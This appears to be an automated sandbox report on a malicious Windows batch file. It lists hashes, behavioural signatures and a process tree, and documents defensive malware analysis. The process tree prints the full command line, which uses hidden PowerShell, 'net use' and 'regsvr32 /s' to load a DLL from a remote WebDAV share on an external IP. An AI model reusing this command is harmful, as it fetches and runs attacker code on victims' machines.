Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
21/07/2024, 01:16
Static task
static1
Behavioral task
behavioral1
Sample
5623205342853313428.bat
Resource
win7-20240705-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
5623205342853313428.bat
Resource
win10v2004-20240709-en
8 signatures
150 seconds
General
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Target
5623205342853313428.bat
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Size
10KB
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MD5
15fb0171780a044b55f6eebdcb475d37
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SHA1
fa3021377ecced794887b3903e7610934d3f1407
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SHA256
ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551
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SHA512
a6d9586194f84a52a9543d37381249c036e1617cc3536be520febe3492e643e865666a91662cd916d147e09684942e1518ab3a7aa69f3a8db6d3c9dcaa6f423c
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SSDEEP
192:8us5mDgVA3JR0O2uElDefMOyxyDoX666teX666JsgJ67ZwofwwGmmB:8usUScT0KUqfMOoy8X666IX666JsgJ64
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2116 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2116 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1100 wordpad.exe 1100 wordpad.exe 1100 wordpad.exe 1100 wordpad.exe 1100 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1464 wrote to memory of 1100 1464 cmd.exe 31 PID 1464 wrote to memory of 1100 1464 cmd.exe 31 PID 1464 wrote to memory of 1100 1464 cmd.exe 31 PID 1464 wrote to memory of 2116 1464 cmd.exe 32 PID 1464 wrote to memory of 2116 1464 cmd.exe 32 PID 1464 wrote to memory of 2116 1464 cmd.exe 32 PID 2116 wrote to memory of 2888 2116 powershell.exe 34 PID 2116 wrote to memory of 2888 2116 powershell.exe 34 PID 2116 wrote to memory of 2888 2116 powershell.exe 34 PID 2116 wrote to memory of 3068 2116 powershell.exe 35 PID 2116 wrote to memory of 3068 2116 powershell.exe 35 PID 2116 wrote to memory of 3068 2116 powershell.exe 35 PID 2116 wrote to memory of 3068 2116 powershell.exe 35 PID 2116 wrote to memory of 3068 2116 powershell.exe 35
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\5623205342853313428.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:1100
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2888
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll3⤵PID:3068
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